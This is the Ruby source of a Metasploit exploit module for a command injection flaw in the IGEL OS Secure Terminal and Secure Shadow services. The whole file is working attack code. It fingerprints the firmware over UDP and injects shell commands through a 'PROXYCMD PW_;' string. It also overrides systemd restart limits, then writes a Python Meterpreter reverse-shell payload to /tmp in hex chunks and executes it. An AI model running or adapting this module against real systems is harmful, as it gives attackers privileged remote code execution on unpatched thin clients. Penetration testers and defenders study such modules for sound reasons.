Files
metasploit-gs/modules/exploits/linux/misc/igel_command_injection.rb
T
2021-04-09 15:21:38 -04:00

220 lines
7.0 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(
update_info(
info,
'Name' => 'IGEL OS Secure VNC/Terminal Command Injection RCE',
'Description' => %q{
This module exploits a command injection vulnerability in IGEL OS Secure Terminal
and Secure Shadow services.
Both Secure Terminal (telnet_ssl_connector - 30022/tcp) and Secure
Shadow (vnc_ssl_connector - 5900/tcp) services are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'Rob Vinson', # Discovery
'James Brytan', # Research and testing
'James Smith', # Research and testing
'Marisa Mack', # Research and testing
'Sergey Pashevkin', # Research and testing
'Steven Laura' # Research and testing
],
'References' => [
[ 'URL', 'https://kb.igel.com/securitysafety/en/isn-2021-01-igel-os-remote-command-execution-vulnerability-41449239.html' ],
[ 'URL', 'https://www.igel.com/wp-content/uploads/2021/02/lxos_11.04.270.txt' ]
],
'Platform' => ['python'],
'Arch' => [ARCH_PYTHON],
'Targets' => [
[
'Python payload',
{
'Arch' => ARCH_PYTHON,
'Type' => :python,
'Platform' => 'python',
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
],
],
'Privileged' => true,
'DisclosureDate' => '2021-02-25',
'DefaultTarget' => 0,
'Notes' => {
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE]
}
)
)
register_options(
[
Opt::RPORT(30022)
]
)
register_advanced_options(
[
# must enable SSL
OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true]),
]
)
end
def check
probe = '<igel_scan></igel_scan>'
connect_udp(true, 'RPORT' => 30005)
udp_sock.put(probe)
res = udp_sock.recvfrom(65535, 0.5)
disconnect_udp
unless res && res[0]
return Exploit::CheckCode::Unknown
end
probe_response = res[0]
matches = probe_response.match(/firmwareversion=<([0-9.]+)>/)
unless matches
return Exploit::CheckCode::Unknown
end
version = matches.captures[0]
vprint_status("IGEL OS Version: #{version}")
version = Rex::Version.new(version)
if version < Rex::Version.new('10.06.220') && version >= Rex::Version.new('10.0.0')
return Exploit::CheckCode::Appears
elsif version < Rex::Version.new('11.04.270') && version >= Rex::Version.new('11.0.0')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
# execute a shell command on the target.
# cmdstr is limited to 223 characters
def exec_cmd(cmdstr)
if cmdstr.length > 223
raise ArgumentError, 'Attempted command is too large'
end
cmdfull = "#{cmdstr};false"
vprint_status("executing #{cmdfull}")
retries = 0
begin
connect
sock.put(%(PROXYCMD PW_;#{cmdfull}))
rescue ::Rex::ConnectionRefused, Errno::ECONNRESET => e
if retries < 5
retries += 1
sleep 0.5 * (2**retries)
vprint_status("retrying command - #{retries}")
retry
else
vprint_error("retries exhausted: #{e.class} #{e}")
raise e
end
ensure
disconnect
end
end
# chunks up buffer, encodes chunk as a hex string, and echos it to path one chunk at a time
def write_file(buf, path)
slice_size = (223 - %(bash -c 'echo -ne "">>#{path}').length) / 4
buf.split('').each_slice(slice_size) do |ary|
buf_part = ary.join
hex = buf_part.each_byte.map { |b| "\\x#{b.to_s(16)}" }.join
begin
exec_cmd(%(bash -c 'echo -ne "#{hex}">>#{path}'))
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed writing to #{path} with error #{e}.")
end
end
end
# somewhat arbitrary cutoff of what designates a large payload
def big_payload?
if payload.encoded.length > 1024
return true
end
return false
end
def adjust_systemd_props
# Adjust limits to keep throttling from stopping the services or otherwise
# slowing us down
svc = 'vnc'
if datastore['RPORT'] == 5900
svc = 'vnc'
elsif datastore['RPORT'] == 30022
svc = 'telnet'
end
print_status("Overriding igel-#{svc}-ssl-connector.service StartLimitBurst")
exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.service.d))
exec_cmd(%(printf "[Service]\\nStartLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
print_status("Overriding igel-#{svc}-ssl-connector.socket TriggerLimitBurst")
exec_cmd(%(mkdir /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d))
exec_cmd(%(printf "[Socket]\\nTriggerLimitBurst=9999\\n" > /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
exec_cmd(%(systemctl daemon-reload))
end
def cleanup_systemd_props
svc = 'vnc'
if datastore['RPORT'] == 5900
svc = 'vnc'
elsif datastore['RPORT'] == 30022
svc = 'telnet'
end
print_status("Removing override for igel-#{svc}-ssl-connector.service")
exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.service.d/override.conf))
print_status("Removing override for igel-#{svc}-ssl-connector.socket")
exec_cmd(%(rm /etc/systemd/system/igel-#{svc}-ssl-connector.socket.d/override.conf))
exec_cmd(%(systemctl deamon-reload))
end
def remove_file(path)
exec_cmd(%(rm #{path}))
end
def exploit
path = "/tmp/#{rand_text_alphanumeric(4)}"
if big_payload?
print_warning('The payload selected is relatively large. This could take a few minutes, be patient.')
end
begin
adjust_systemd_props
print_status("Writing payload to file #{path}.")
write_file(payload.encoded, path)
# execute python payload. systemd-run is used to prevent systemd from killing
# the resulting processes
print_status("Executing payload #{path}.")
exec_cmd(%(/usr/bin/systemd-run --scope bash -c "python #{path}"))
print_status("Removing payload file #{path}.")
remove_file(path)
cleanup_systemd_props
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
fail_with(Failure::Unreachable, "Failed executing payload with error #{e}.")
end
end
end